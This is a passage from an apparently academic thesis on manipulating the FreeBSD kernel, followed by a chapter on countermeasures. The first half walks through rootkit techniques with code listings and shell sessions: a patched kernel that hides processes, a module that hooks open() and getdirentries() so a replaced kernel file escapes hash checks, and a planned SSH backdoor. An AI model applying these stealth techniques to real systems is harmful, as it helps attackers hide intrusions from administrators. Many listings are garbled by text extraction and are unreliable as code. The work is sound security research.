issuedto get information about a single process,a hidden processbehaves as if there
were no such process{ i.e. ESRCHerror. Note that the pfind() procedurereturns with
the processp being locked.

Listing 4.5: /usr/src/sys/kern/kern proc.c� �
931 �


�� 

� � ����


932 sysc t l _ker n_pr oc ( SYSCTL_HANDLER_ARGS)

948
� � ( oi d_number == KERN_PROC_PI D) {

949
� � ( namel en ! = 1)

950
� � 
 ��� � ( EI NVAL ) ;

951 er r or = sysc t l _wi r e_ol d_buf f er ( r eq , 0) ;
952

� � ( er r or )
953

� � 
 ��� � ( er r or ) ;
954 p = pf i nd ( ( pi d_t ) name [ 0] ) ;
955

� � ( ! p)
956

� � 
 ��� � ( ESRCH) ;
957

� � ( p- >p_hi dden ) { / * sk i p hi dden pr ocess * /
958 PROC_UNLOCK( p) ;
959

� � 
 ��� � ( ESRCH) ;
960 }
961

� � ( ( er r or = p_cansee ( cur t hr ead , p) ) ) {
962 PROC_UNLOCK( p) ;
963

� � 
 ��� � ( er r or ) ;
964 }
965 er r or = sysc t l _out _pr oc ( p, r eq , f l ags ) ;
966

� � 
 � ��� ( er r or ) ;
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967 }

In all other casesthe lists of all running processesallproc and all zombie processes
zombprocaretraversedby a for loop to accumulate the appropriate information. During
each passthrough that loop embryonic as well as hidden processesare skipped.

994
��� � ( doi ngzomb =0 ; doi ngzomb < 2 ; doi ngzomb ++) {

995
� � ( ! doi ngzomb )

996 p = LI ST_FI RST ( &al l pr oc ) ;
997

� �

�

�

998 p = LI ST_FI RST ( &zombpr oc ) ;
999

��� � ( ; p ! = 0; p = LI ST_NEXT ( p, p_l i s t ) ) {
1000 / *
1001 * Sk i p embr yoni c and hi dden pr ocesses .
1002 * /
1003 mt x_l ock_spi n( &sched_l ock ) ;
1004

� � ( p- >p_st at e == PRS_NEW | | p- >p_hi dden ) {
1005 mt x_unl ock_spi n ( &sched_l ock ) ;
1006

��� � 
 ��� � � ;
1007 }

� �

Finally we needto install an additional systemcall that marks a processas hidden.
Further systemcalls can be easily addedby an entry in the systemcall master database
syscall.master . Listing 4.6 shows our entry with the index number in the system
call table 242 and the name of the system call implementing function hideproc() . As
argument hideproc() needsthe processidenti�cation number pid of the processin
order to hide this process.

Listing 4.6: /usr/src/sys/kern/syscall s.maste r� �
450 242 AUE_NULL MSTD { �	��
 hi depr oc ( pi d_t pi d ) ; }

� �

All necessarychanges to the source code in syscall.h , syscall.mk , sysproto.h ,
init sysent.c , and syscalls.c are generatedautomatically by what is shown in the
following shell session.

attacker# �

���

� ���

�

�����

�

�	���

�

��
����

attacker# �

�

��	���
��	���"� 	������

�

�

�

�	���"� 	���� �

�

�
	��	! 
	�

It remains to implement the implementing function of the system call hideproc() .
We simply add this to kern prot.c wheresimilar functions such asthe getsid() system
call reside. Listing 4.7 shows the complete hideproc() function. Its functionalit y
is straightforward: If pid is 0, hideproc() will mark the current processas hidden.
Otherwise it tries to �nd the processwith the given pid in order to mark this process
as hidden. If this pid belongsto a hidden process,it will return that there is no such
process.

Listing 4.7: /usr/src/sys/kern/kern prot.c� �
206 / *
207 * Hi de a pr ocess
208 * /
209

�

� � � � ��� _SYS_SYSPROTO_H_
210 �


 � � ��
 hi depr oc_ar gs {
211 pi d_t pi d ;



52 CHAPTER 4. ANAL YSIS OF MANIPULA TION METHODS

212 } ;
213

�

� � �
� �

214 / *
215 * MPSAFE
216 * /
217

�	��


218 hi depr oc ( �


�� � � 
 t hr ead * t d , �


�� � ��
 hi depr oc_ar gs * uap )
219 {
220 �


���� ��
 pr oc * p;
221

�	��
 er r or ;
222

223
� � ( uap - >pi d == 0) {

224 p = t d - >t d_pr oc ;
225 PROC_LOCK( p) ;
226 } � �

�

� {
227 p = pf i nd( uap - >pi d ) ; / * r et ur ns wi t h p l ocked * /
228

� � ( p == NULL)
229

� � 
 ��� � ( ESRCH) ;
230

� � ( p- >p_hi dden ) {
231 PROC_UNLOCK( p) ;
232

� � 
 ��� � ( ESRCH) ;
233 }
234 er r or = p_cansee ( t d , p) ;
235

� � ( er r or ) {
236 PROC_UNLOCK( p) ;
237

� � 
 ��� � ( er r or ) ;
238 }
239 }
240

241 p- >p_hi dden =1; / * ac t i vat e s t eal t h mode * /
242 t d - >t d_r et val [ 0] = p- >p_hi dden ;
243 PROC_UNLOCK( p) ;
244

� � 
 ����� ( 0) ;
245 }

� �

4.4.2 Deplo ymen t

Before we begin with the deployment of the manipulation, a few words on hiding the
manipulation itself { i.e. how to prevent the replacement of the kernel from detection.
Without further ado our malicious kernel can be detected by a comparison of its hash
value, e.g.md5, with the hashvalue of the original kernel. This is possiblein the current
experiment after the replacement of the kernel no matter whether or not the malicious
kernel is already running. We address this point in our experiment on hiding a �le
in Section 4.5. But there is also some information hard-wired into the kernel that
may raise suspicion when the malicious kernel is running. An important example is
the system control value of kern.version that is displayed when uname-a or sysctl
kern.version is issuedin the shell. We do not needto pay attention on variables such
as the hostname that are initialized from con�guration �les such as /etc/rc.conf at
boot time. These�les are not changed.

Let us now turn to the deployment of the manipulation. Assumean attacking host
attacker and and a target host target . We prepare and compile a malicious kernel on
attacker and then log into target and install this kernel. First we needto prepare the
hard-wired kern.version to display the value given by target . Further preparations
that are similar to this one are perhapsnecessary.

target# �����"�	!�� ��
��	�

�

� 
����"
�� �
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kern.version: FreeBSD6.0-RELEASE#7: WedMar 1 18:37:47 CET2006
root@target.targetdomain.org:/ usr/ obj/u sr/s rc/s ys/GENERIC

We change the value of kern.version in the appropriate con�guration �le /usr/src/
sys/conf/newvers.sh appropriately. As the valueof kern.version is di�eren t for each
attack, it is not a part of the patch �le of Listing C.3 that changesall the rest. Listing
4.8 shows the original initialization value VERSTRof kern.version , which is commented
out, followed by our modi�ed value of VERSTR. Other system control valuesthat might
needto be prepared are also initialized there.

Listing 4.8: /usr/src/sys/conf/newvers. sh� �
91

�

�����
����� SCCSSTR " @( #) ${ VERSI ON}  #${ v } :  ${ t } "
92 / / #def i ne VERSTR " ${ VERSI ON} #${ v } : ${ t } \ \ n ${ u} @${ h} : ${ d} \ \ n"
93

�

�����
����� VERSTR " Fr eeBSD 6. 0- RELEASE #7:  Wed Mar   1 18: 37: 47  CET 2006\ \ n    
r oot @t ar get . t ar get domai n. or g : / usr / obj / usr / sr c / sys / GENERI C\ \ n"

94
�

�����
����� RELSTR " ${ RELEASE} "
95

96
��
���� sccs [ �

��������� ( SCCSSTR) > 128 ? �

��������� ( SCCSSTR) : 128] = SCCSSTR;
97

��
���� ver s i on [ �

������� � ( VERSTR) > 256 ? �

��������� ( VERSTR) : 256] = VERSTR;
98

��
���� ost ype [ ] = " ${ TYPE} " ;
99

��
���� osr el ease [ �

��������� ( RELSTR) > 32 ? �

������� � ( RELSTR) : 32] = RELSTR;
100

�	��
 osr el dat e = ${ RELDATE} ;
101

��
���� ker n_i dent [ ] = " ${ i } " ;
� �

After that preparation we patch the kernel according to what we described in the
previous subsectionby applying the patch depicted in Listing C.3 in the appendix. This
is followed by the compilation of the kernel on attacker and the replacement of the
kernel on target .

attacker# �

���

� ���

�

�����

�

�	���

attacker# ��	"! �

��� ���

��� 


�

	 ���

�


"� � �

�


"� � �

�


�� �	!�	����

� �


	�"�

attacker# �

���

� ���

�

�����

attacker# �
	�� 


�

� 
��

�

��
��	��
 �

[...]

target# ����� �����	!���	"!"!�	�� ��
����

�

� ���

�

�

���"�

� ���

�

�����

�

�	���

�	��
��

��������

��
��	��
��

� �

���	!

�

��
����

 �

�

� 
��	�

 �

target# � 


�

����!

In order for the changesto take their persistent e�ect a reboot on target is necessary.
The functionalit y of hidden processescan then be usedby programsasshown by Listing
4.9 and 4.10. While hideproc.c hides the processwith the given pid , malproc.c hides
itself to obscureits maliciousactivit y, which is just printing out a message.If for example
the login shell of a user is hidden, all commandsand programsstarted by this user from
their shell are also hidden. Appropriate exemplary shell sessionsare shown below.

Listing 4.9: /home/alm/exp2/hideproc. c� �
�	��
 mai n( �	��
 ar gc , ��
���� * ar gv [ ] ) {

�	��
 pi d ;

� � ( ar gc == 2) {
sscanf ( ar gv [ 1] , " %d" , &pi d ) ;
� � 
 � ��� ( syscal l ( 242, pi d ) ) ;

}
� � 
 ����� ( - 1) ;

}
� �
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target# � �

PID TT STAT TIME COMMAND
494 p0 Ss 0:00.13 -csh (csh)
608 p0 R+ 0:00.02 ps
target# ����� �����	!���	"!"!�	�� ��
����

���

���



�

	����

�


"��� �

���




�


�� �����

�

�

�

target# ���

�




�


��������

�

�

�

�

�




�


��������

target#
� ���




�


 �������������

target# � �

PID TT STAT TIME COMMAND
target#

Listing 4.10: /home/alm/exp2/malproc. c� �
������� mai n( �
����� ) {

�	��
 pi d ;

pi d=get pi d ( ) ;
pr i nt f ( " Yet ,  I  am v i s i bl e  and my  PI D i s  %d\ n" , pi d ) ;
s l eep ( 5) ;
syscal l ( 242 , 0) ; / * ac t i vat i ng s t eal t h mode * /
pr i nt f ( " Now I  am i nv i s i bl e  and  r eady  f or  mal i c i ous  ac t i v i t y ! \ n" ) ;
s l eep ( 60) ;
� � 
 ����� ;

}
� �

target# ����� �����	!���	"!"!�	�� ��
����

���

���



�

	����

�


"��� �

�

�
	�� ����� �

�

�

�

target# ��� �
	����������

�

�

�

� �
	����������

target#
� �

�
	�� � �������

Yet, I am visible and my PID is 629
target# � ��� ���

PID TT STAT TIME COMMAND
629 p0 S+ 0:00.01 ./malproc
target#
NowI am invisible and ready for malicious activity!
target# � ��� ���

PID TT STAT TIME COMMAND
target#

4.5 Exp erimen t 3: Manipulation of File Access

In this experiment we deal with manipulation of �le accesses,for example with hiding
�les from users. In this context we call a �le hidden if its existenceis obscured from
users. For example, usersmight not be able to display a hidden �le by examining the
directory it is in. If they try to open it through an open() or execve() systemcall, they
will receive an error message.The caseof an execve() could be arranged in such a way
that the user receives the error messagebut the program in the hidden �le is started
anyway. In this way for example hidden log�les, hidden malicious user level programs,
and hidden �les containing disclosedinformation can be realized.

We speak of a bogus �le if the integrity of that �le is subverted without any user
becomingeasilyaware of it. If a userexaminesa bogus�le, they will only �nd what they
expect. But in fact the state of the �le is only pretendedand its real state is hidden from
the user. For an attacker the following examplewould be useful. A shell script such as
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one of the rc scripts in /etc/ could be bogussuch that an open() system call reveals
the original script, but on an execve() a malicious version of that �le is executed.

In the following we consider two typical scenarios. Our �rst aim is to cope with a
problem that we were confronted with, when attacks replaced /boot/kernel/kernel
in Section 4.4. Before the functionalit y of the new (malicious) kernel can take e�ect,
a reboot is necessary. But until then such an attack would be easily detected by, for
example, an analysis of the hash value of the kernel �le. Thus, there is a need for a
bogus�le that we implement in Subsection4.5.1 with the module technique.

Furthermore we discussthe support for hidden �les and for bogus�les in a malicious
kernel that replaces /boot/kernel/kernel in Subsection 4.5.2. Once this kernel is
running, it must also prevent detection of the replacement of the kernel �le via a bogus
�le.

4.5.1 A Bogus File with a Loadable Mo dule

We aim to make the kernel �le a bogus �le immediately after the installation of the
malicious kernel to /boot/kernel/kernel . The idea is to save the original kernel �le at
another location, say /boot/kernel/kernOK . Then we load a KLD that manipulates the
open() systemcall such that open requestsfor /boot/kernel/kernel are redirected to
/boot/kernel/kernOK . Additionally the KLD intercepts all getdirentries() system
calls, which are used to examine the entries of a directory [35, p.309], in order to hide
the original kernel �le kernOK.

We explain the design and implementation of the new versions of open() and
getdirentries() , which are shown by Listing 4.11, in this subsection. A full source
code listing of the KLD can be found in Section C.3 of the appendix.

Listing 4.11: /home/alm/exp3/hide-file-k ld.c� �
27 / *
28 * Fi l ename of hi dden or i gi nal ker nel f i l e . I t must have
29 * t he same l engt h as ` ` ker nel ' ' , whi ch i s 6.
30 * /
31

�

�����
����� NAME_OF_ORI G_KERNEL " ker nOK"

First mygetdirentries() calls the original getdirentries() system call. This
system call writes { as described in the sourcecode commentary { the entries of the
givendirectory asan array of dirent structures to the userspacebu�er uap->buf , which
is also given as parameter. The length of that array is returned in td->td retval[0] .
Note that the dirent structures are not equal sized and their length can be obtained
through the d reclen �eld. The while loop traversesthe bu�er array and deletesall
entries whose�le names,which are stored in the d name�eld, match with kernOK. Hence
any occurrenceof a �le named kernOKin any directory is hidden.

37 �


�� 

� � ����
 myget di r ent r i es ( �


 � � ��
 t hr ead * t d , �


 � � ��
 get di r ent r i es_ar gs * uap) {
38

�	��
 er r or = 0;
39 �


���� ��
 di r ent * dp , * next dp ;
40

�	��
 l en ;
41

�	��
 r ec l en ;
42

�	��
 of f set = 0; / * by t e of f set i n di r ent s t r uc t ar r ay * /
43

44 / *
45 * Ret ur ns :
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46 * ( 1) The ent r i es of t he gi ven di r as an ar r ay of di r ent s t r uc t s :
47 * uap - >buf
48 *
49 * ( 2) The l engt h of t hat ar r ay == Number of by t es t r ans f er r ed:
50 * t d - >t d_r et val [ 0]
51 * /
52 er r or = get di r ent r i es ( t d , uap) ;
53

54 l en = t d - >t d_r et val [ 0] ; / * ( 2) * /
55 dp = ( �


�� � ��
 di r ent * ) uap - >buf ; / * ( 1) * /
56

57 �


 � � � ( of f set <l en) {
58 r ec l en = dp - >d_r ec l en ; / * l engt h of cur r ent ent r y * /
59 next dp = ( �


�� � ��
 di r ent * ) ( ( � 
���� * ) dp + r ec l en ) ;
60

� � ( s t r cmp( dp- >d_name , NAME_OF_ORI G_KERNEL) ==0) {
61 / * del et e cur r ent ent r y * /
62 bcopy ( next dp , dp , l en - of f set ) ;
63 l en - =r ec l en ;
64 } ���

�

� {
65 of f set +=r ec l en ; / * move of f set over t o t he next ent r y * /
66 dp = next dp ;
67 }
68 }
69

70 t d - >t d_r et val [ 0] = l en ; / * r et ur n updat ed l en * /
71

� � 
 ����� ( er r or ) ;
72 }

The myopen() function simply comparesthe path of the �le that should be opened
with a presetof possiblevaluesfor that path. In caseof a match, it manipulates the path
parameter uap->path , which is saved somewherein user space,and then calls the real
open() system call. This is the reasonwhy NAMEOFORIGKERNELmust not be longer
that 6 bytes, which is the length of the word \k ernel". Otherwise it would over
o w
the bu�er uap->path and overwrite somethingelse. Afterwards the manipulation of the
uap->path parameter is undonesuch that the calling proceduredoesnot becomeaware
of it.

Using this versionof myopen() an open() -attempt with the path kernel/kernel in
the current working directory /boot/ would reveal the malicious version of the kernel.
Furthermore any other �le named kernel will causea no-such-�le-or-directory-error,
unlessthe appropriate directory also contains a kernOK�le.

77 �


�� 

� � ����
 myopen ( �


�� � � 
 t hr ead * t d , �


�� � � 
 open_ar gs * uap ) {
78

�	��
 er r or = 0;
79

80
� � ( s t r cmp ( uap - >pat h , " ker nel " ) ==0) {

81 st r cpy ( uap - >pat h , NAME_OF_ORI G_KERNEL) ;
82 er r or = open( t d , uap) ;
83 st r cpy ( uap - >pat h , " ker nel " ) ;
84 }
85

� �

�

� � � ( s t r cmp( uap - >pat h , " . / ker nel " ) ==0) {
86 st r cpy ( uap - >pat h , " . / " NAME_OF_ORI G_KERNEL) ;
87 er r or = open( t d , uap) ;
88 st r cpy ( uap - >pat h , " . / ker nel " ) ;
89 }
90

� �

�

� � � ( s t r cmp( uap - >pat h , " / boot / ker nel / ker nel " ) ==0) {
91 st r cpy ( uap - >pat h , " / boot / ker nel / " NAME_OF_ORI G_KERNEL) ;
92 er r or = open( t d , uap) ;
93 st r cpy ( uap - >pat h , " / boot / ker nel / ker nel " ) ;
94 }
95

� �

�

� {
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96 er r or = open( t d , uap) ;
97 }
98

99
� � 
 ����� ( er r or ) ;

100 }
� �

The following shell sessionshows the useof this KLD. To hide the KLD itself from
detection the techniques from Experiment 1 can be used.

target# �

��� � �

����!

�

� 
��	�

 �

�

��
��	��
 � [hash value of original kernel file]
MD5(/boot/kernel/kernel) = ac03a31bf01233ea55624d7e7b473c66

[Installation of malicious kernel:]
target# �
�

� �

����!

�

��
	�	�

 �

�

��
��	�

��

� �

����!

�

� 
��	�

 �

�

��
��	�����

target# �"��� ������!���	"!�!�	�� ��
	� �

�

� ���

�

�

�����

�����

�

�	���

�
��
	�	
������ �

� 
��	� 
 �

���

����!

�

��
��	�

��

�

��
����

 �

target# �

��� � �

����!

�

� 
��	�

 �

�

��
��	��
 � [hash value of malicious kernel file]
MD5(/boot/kernel/kernel) = 61506cc6a74f3f4a57668aa69712e9aa

[Installation of the KLD:]
target# ���

�


�� ! ��� 
 �

�

! ���

target# �"��� ������!���	"!�!�	�� ��
	� ���

�


������

�

�

hide-file-kld.c
Makefile
target# �
	���


[...]

target# ���

�

��� 	

� � ���




�




�

��
���


�

���

� �

���

target# �

���"�


 � �

�

� ! ���

�

[Test of the KLD:]
target# �

��� � �

����!

�

� 
��	�

 �

�

��
��	��
 � [malicious kernel, but hash value untouched]
MD5(/boot/kernel/kernel) = ac03a31bf01233ea55624d7e7b473c66

target# � �

�

	��

� �

����!

�

��
��	��
 �

�

[kernOK is hidden]
[...]
-r-xr-xr-x 1 root wheel 20310 Mar 30 18:48 kbdmux.ko
-r-xr-xr-x 1 root wheel 6316982 Mar 30 18:35 kernel
-r-xr-xr-x 1 root wheel 39830 Mar 30 18:48 libalias.ko
[...]

target# ������� ��!

4.5.2 A Kernel with Supp ort for Hidden and Bogus Files

A manipulation at sourcecode level could be done analogouslyas in the previous sub-
section. But in order to addressthe drawbacks we should discussfurther approaches.
However, we do not implement them.

Before we begin, we distinguish two di�eren t typesof bogus �les. Firstly , we speak
of a bogus �le of type 1 if the original �le is replaced by the malicious one after the
original �le is saved at a hidden location. In this casean open() attempt is redirected
to the hidden version of the original �le. Secondly, we call it a bogus �le of type 2 if the
original �le is left as it is but all execve() calls are redirected to a malicious version of
that �le. The malicious �le needsto be hidden.

While in caseof /boot/kernel/kernel the useof a bogus�le of type 1 is preferable,
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in all other caseswe suggestthe useof bogus�les of type 2. On the onehand the reason
for this is that the boot loader loads the �le at the location /boot/kernel/kernel . As
a consequencewe need not to manipulate the boot loader when using a bogus �le of
type 1 in that case.On the other hand in caseof the useof bogus�le of type 2 we only
needto manipulate the behavior of the execve() system call. All other calls accessing
the �le through its path such as open() , chmod(), and access() remain untouched.

Consider �rst an implementation at the system call level that is similar to what we
have done in the previous subsection. The drawbacks mentioned in this subsectionare
resulting from di�culties to uniquely identify �les. This can be addressedby always
obtaining the unique full path in the �le system tree of an openedor executed�le. To
�nd out whether such a �le needsto behandled asa hidden or bogus�le, the comparison
is basedon the full path of the �le. Furthermore to handle multiple bogusand hidden
�les, these �les needto be organized in a suitable way. This could be, for example, an
array containing the full paths of all hidden �les.

Sincea sourcecode manipulation giveseasyaccessto any point of attack, it might be
convenient to implement the support for hidden and bogus�les at a lower level such as
the vnode layer or the �le systemlayer. But, the complexity of such an approach is very
high. The format of directories on the disc might have to be changed for the support
of hidden �les by, for example, adding a hidden 
ag to each entry of a directory. A
translation of the directory entries of the new format to the dirent structure would then
be necessaryin order to provide the correct interface for the above layers. To provide
bogus �les, we could introduce a new type of vnodes similar to links. The original
version as well as the malicious version of the appropriate �le could be associated with
such a vnode. Depending on the requestedoperation such asopen() and execve() , the
appropriate version of the �le would be used. This would causemajor changesin the
�le system subsystem.

After all, we regard a re�nement of the manipulation of the source code of the
system call implementing functions open() , execve() , and getdirentries() as the
most e�cien t and e�ectiv e solution.

4.6 Exp erimen t 4: Installing a Backdo or

In this section we discussthe installation of a backdoor on a target machine, where
the attacker has temporary root access.We here conceive of a backdoor as a hidden
way to accessthe system with root privileges in a manner controlled by an attacker.
We are particularly interested in the question to what extent a kernel manipulation
improvesthe functionalit y of such a backdoor. According to our de�nition of backdoor,
the only improvement that can be made is the improvement of the stealth technique of
the backdoor.

The �rst idea is to add a systemcall that appropriately manipulates the usercreden-
tials substructure of the processstructure of a process. In this way the processwould
be able to obtain root privileges by calling this system call. But this approach has
the following major drawbacks: Firstly , a real user account is neededfrom which this
system call can be started. Secondly, much user level e�ort is necessaryto cover the
tracks. Information about usersis for example loggedin utmp, wtmp, and lastlog .

These drawbacks can be addressedby the following approach that usesa kernel
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manipulation as an aid: On the one hand the secureshell(SSH)server sshd is replaced
by a malicious SSHserver and on the other hand the replacement is hidden with the aid
of a bogus�le. The malicious SSH server behavesalmost the sameas the original one.
The di�erence is that it creates a hidden root shell processif a certain combination
of username and password is given. The attacker presets this combination. When
the malicious SSH server starts the hidden root shell, neither the user is registered
in utmp and wtmp nor any log �les are updated. It should be emphasizedthat the
support for hidden processesand bogus�les is provided by a kernel manipulation. As a
consequence,the quality of the stealth techniques of the backdoor dependson the one
hand on the support for hidden processesand bogus�les and on the other hand on the
implementation of the malicious SSHserver. For example if the kernel of Experiment 2
was used,all processesstarted from a hidden shell would also be hidden. The reasonto
choseSSHas hidden entrance is that this serviceruns on most servers. Thus a running
SSHserver will not raise any suspicion.

We do not implement such an SSH server becauseuser level programming would
be well beyond the scope of this thesis. So this section actually contains an idea of an
experiment rather than a fully conducted experiment.





Chapter 5

Concepts of Coun termeasures
and Practical Approac hes

The previous chapter showed the enormousimpact of manipulations in operating sys-
tem kernels. Therefore we considertheoretical conceptsand practical measuresagainst
such manipulations in this chapter. In the �rst section of this chapter we develop a
classi�cation for the countermeasuresthat are presented in the remaining sections. The
particular goal of this chapter is to scrutinize the security mechanismsof FreeBSDwith
regard to measuresagainst kernel manipulation and to discusstheir trust worthiness.

5.1 Classi�cation

5.1.1 Goals of Coun termeasures

Countermeasurescan be distinguished by their di�eren t goals. Basically there are the
following �v e goals. The terminology is partly derived from the area of deadlocks [15].

Av oidance

Avoidance of kernel manipulation attempts to eliminate the vulnerabilities that can
causea manipulation. Thereby it aims at defeating elementary conditions that must be
met in order for a manipulation to be successful.As a consequence,avoidancemeasures
are usually integrated in the elementary designof an operating systemor there is a basic
hardware mechanism providing protection for the kernel.

Prev ention

We speakof prevention of kernel manipulation if a countermeasureaims at blocking the
threats that are posedto the system by vulnerabilities that can causea manipulation.
The vulnerabilities remain but their threat is controlled by a preventiv e measure.Such
measurescan be added to a system in responseto newly arising vulnerabilities or be-
causethe perception of security P sec changed. It should be noted that prevention and
avoidance lie closetogether.
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Mitigation

With the term mitigation we refer to attempts to con�ne the impact of a kernel manip-
ulation.

Detection

As its nameindicates, detection refersto countermeasuresthat aim at detecting a kernel
manipulation.

Remo val

Finally, removal of kernel manipulation tries either to restore the state of the system
that existed before the manipulation or it tries to deactivate the malicious functions
that were installed on behalf of the manipulation.

5.1.2 Classi�cation According to Manipulation Metho ds

If an operating system provides a way to modify or extend the kernel in a controlled
manner, a protection mechanism is neededagainst misuseof this feature for manipula-
tion by an unauthorized party. As identities are represented by the notion of users, the
accesscontrol mechanism must managethe amount of privileges associated with each
user appropriately. In this context, we speak of a kernel-privileged user if the user is
allowed to modify or extend the kernel, otherwise of a kernel-non-privileged user.

According to our classi�cation in Subsection4.1.1, there are two casesof a manipu-
lation attack: �rstly , an attacker can try to becomea kernel-privilegeduser,or secondly,
they can try to circumvent the mechanism enforcing user privileges (i.e. accesscontrol)
such that they are able to manipulate the kernel as kernel-non-privilegeduser. We fur-
ther classify countermeasuresaccording to this. Note that this classi�cation will also
apply either if a systemdoesnot support kernel-privileged usersor if it aims at deacti-
vating this functionalit y in normal operation. Depending on their implementation and
their e�ect, such countermeasuresare prevention, avoidance,or mitigation measures.

5.2 The UNIX Superuser

In UNIX and thus in FreeBSD, a user is a set of processessharing a certain non-
negative user identi�c ation number (UID) as generally described in Subsection 2.3.3.
The management of user privileges in the kernel is actually the management of the
privileges of processesby meansof the accesscontrol mechanism. There are two basic
types of users: normal users having a positive UID and superusers with a UID of 0.
As we pointed out in Subsection2.4.4, the superuserroot is thought to be all-powerful.
In FreeBSD, root is particularly a kernel-privileged user sinceFreeBSD provides in its
default con�guration three ways of kernel modi�cation and extension as described in
Subsection4.1.1.

Although, with respect to kernelmanipulation, the superuseris actually a prevention
measure,we regard it rather as one of the roots of the problem. This is becausethis
concept fails the principle of least privilege. There is no �ne-grained mechanism to
distribute privileges so that many processesrun as root although they only need a
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minimal part of root 's privileges. From this follows an enormousadditional amount of
attack vectors sincean attacker can obtain root by exploiting a vulnerabilit y in such a
process.Common examplesare exploits basedon an unchecked bu�er vulnerabilit y or
on a format string vulnerabilit y.

Apart from these user spaceroot exploits, also a vulnerabilit y in the kernel can
be misusedby an attacker to raise the privileges of a normally privileged user process.
According to the manipulation methods described in Subsection4.1.1, the kernel can be
attacked directly via its bottom half or via its top half interface (system call interface).
The incorrect handling of a system call request in the kernel, for example, could cause
a privilege escalation.

All in all, root exploits, especially those in user space, pose a serious threat to
UNIX-lik e operating systems. In Chapter 4 we therefore presumeda root exploit and
claimed such an attack to be feasiblefor an attacker.

In the remainder of this section we point out three di�eren t mechanisms in the
FreeBSDkernel to cope with the superuserproblem with regard to kernel manipulation.
It should be noted that all approachesin user spaceare beyond the scope of this thesis.

Firstly , FreeBSDallows to deactivate the superuser. This is controlled by the system
control value of security.suser enabled . If it is set to 0, the systemwill not o�er any
special privileges to the userwith the UID 0, namely root , anymore. However, asstated
in the sourcecode commentary of the appropriate system control de�nition, \setting it
to zero may seriously impact the functionalit y of many existing userlandprograms, and
should not be done without careful consideration of the consequences"[39]. Moreover,
root is still able to modify the �le /boot/kernel/kernel becausethis �le is owned by
this user. Hencein this way root does not becomecompletely a kernel-non-privileged
user. As a consequence,we regard this measureonly as a mitigation measurewith
respect to kernel manipulation.

Secondly, there is an approach where root becomesa kernel-non-privileged user
called security levels. We deal with it in Section 5.8.

Finally, by meansof so-calledjails , di�eren t usersmay be additionally isolated from
each other. Thereby the systemgrants only limited privileges to a jailed root user, and
in particular, such a root processbecomeskernel-non-privileged. Yet, not every root
processhas to be in jail. We describe this approach in Section 5.7.

5.3 Kernel loaded from ROM

A simpleapproach for protecting the kernel from manipulation is loading the kernel from
a read-only memory (ROM) devicesuch asa CD-ROM or a write-protected 
opp y-disk.
For example the Knoppix distribution of Linux [32] boots from a CD-ROM and does
not need to be installed on a hard disk. There is also a system called FreeSBIE which
is basedon FreeBSD and which works directly from a CD-ROM [41]. However, this is
not FreeBSD. Such versionsof operating systemsare sometimescalled live-systems.

If the operating system is always loaded from this ROM device and this behavior
cannot be altered by an attacker, the integrity of the kernel after a reboot will be
ensured. We refer to a systemstart-up having this property as secure boot.

However, a live-systemcan be { perhapssuccessfully{ attacked at runtime. In this
casethe system remains manipulated until the next reboot. Therefore this approach
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prevents kernel manipulation and mitigates the consequencesof a manipulation only
to a minor extent. It should be noted that loading the operating system from a ROM
devicealso has other advantagesthan preventing a manipulation.

5.4 Signing of Kernel Mo dules

The extensionof the kernel of an operating systemat runtime with additional software
modules is a widely-used concept. Typical applications have been considered in the
previouschapters. There areseveral dedicatedinterfacesthat support such an extension.
While in the UNIX world software modulesthat can be loadedinto the kernel at runtime
are called kernel modules, Windows systemsmake use of so-calleddrivers to provide
this functionalit y. However, we usethe term kernel module to refer to the whole concept
in the following.

An approach to prevent a kernel module basedkernel manipulation is to allow only
cryptographically signed modules to be loaded. The signing of modules provides au-
thenticit y of the module's originator. By De�nition 14 and 12, it follows that if this
originator is trust worthy, this approach will preserve the integrity of the kernel.

The Windows XP systemprovides a functionalit y that is similar to this concept. In
Windows XP it is possibleto sign driversby a party that is trusted by Microsoft. If the
systemadministrator attempts to load a driver which is not signed,they will be noti�ed
that the driver is not signed,then they will get a security warning, and �nally they will
be asked whether the driver should be loaded anyway. As long as it is possibleto load
unsigneddrivers, the threat posedby a kernel manipulation via a malicious driver is not
blocked.

In FreeBSD there is no such functionalit y. However, McKusick considersthis to be
a \serious 
a w in the kernel-module system" [35, p.603]. It might thus be added to
FreeBSD in the future.

5.5 Detection

In this section, we �rstly consider an approach for detecting persistent manipulations
which relies on cryptographic hash functions. At the end of the section, we deal with
an approach that is usedby anti-malware programs and intrusion detection systemsfor
an analysis at runtime.

The integrity of a component of a system such as a �le or a part of memory can be
veri�ed by comparing the cryptographic hash value of its current state with the hash
value of a clean state (Def. 12). In this way di�erences between the current state and
the clean state will be revealed. If there is no di�erence, the appropriate component
wasnot manipulated. However, this method will only work if the function or subsystem
that retrieves the state of the desired component is trust worthy and the function that
computesthe hash value is trust worthy, too.

The last two requirements can only be achieved by securelybooting1 a trust worthy
version or at least a trusted version of an operating system2, for example from a ROM

1Secureboot is de�ned in Section 5.3.
2Here we do not use the term \trusted operating system" to prevent confusion. The meaning of the

word \trusted" is according to De�nition 16.3.
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device. This is becausethe results of an integrity checker cannot be trusted in case
of running it within a potentially compromised system, as is shown by the previous
chapters. On the ROM device, just mentioned, the cleanhashvaluesof the components
of the investigated system have to be included. This hash values must be computed
from clean versions of the components. Finally, the integrity checker, which is also
included in the ROM, runs by using the servicesof the trusted version of the operating
system to detect inconsistenciessuch as a manipulation of the kernel �le. However, a
manipulation that existed only in transient memory and thus doesnot persist a reboot,
such asa malicious kernel module, cannot be detectedthis way. It should be noted that
in this approach, we assumethat the hardware was not tampered with.

The tripwire integrity checker [53] can be usedtogether with a live-systemsuch as
Knoppix or FreeSBIE to implement this concept.

Finally, we point out that there is another approach that is used by anti-malware
programsand intrusion detection systems.Theseprogramsrun on the potentially com-
promised system and scan at runtime the addressspace, the �le system, or even the
raw hard disk to search for known anomalies. They search, for example, for a hooked
system call, a compromised�le, or a suspiciousmodule.

However, an unknown arrangement of a manipulation cannot bedetectedin this way.
Furthermore, this is a game of cat-and-mousesince an attacker will try to circumvent
the detection mechanisms of anti-malware programs. In doing so, the attacker has an
advantage: for the attacker it is easierto get information about the functionalit y of the
anti-malware program than for the programmer of the anti-malware program vice versa.

An exampleof a tool implementing this approach is the chkrootkit program suite
[22]. It is designedfor UNIX and in particular it is available for FreeBSD.

5.6 Hardw are-based In tegrit y Services

We once pick up again the fact that a manipulation in general can be prevented or
avoided by integrity preservingmeasures.We point out that there are approachesbased
on servicesof the ISA level (hardware) that perhapsare capableof ensuringthe integrity
of the kernel of an operating system.

For example the Intel Corporation proposessystem integrity servicesintegrated in
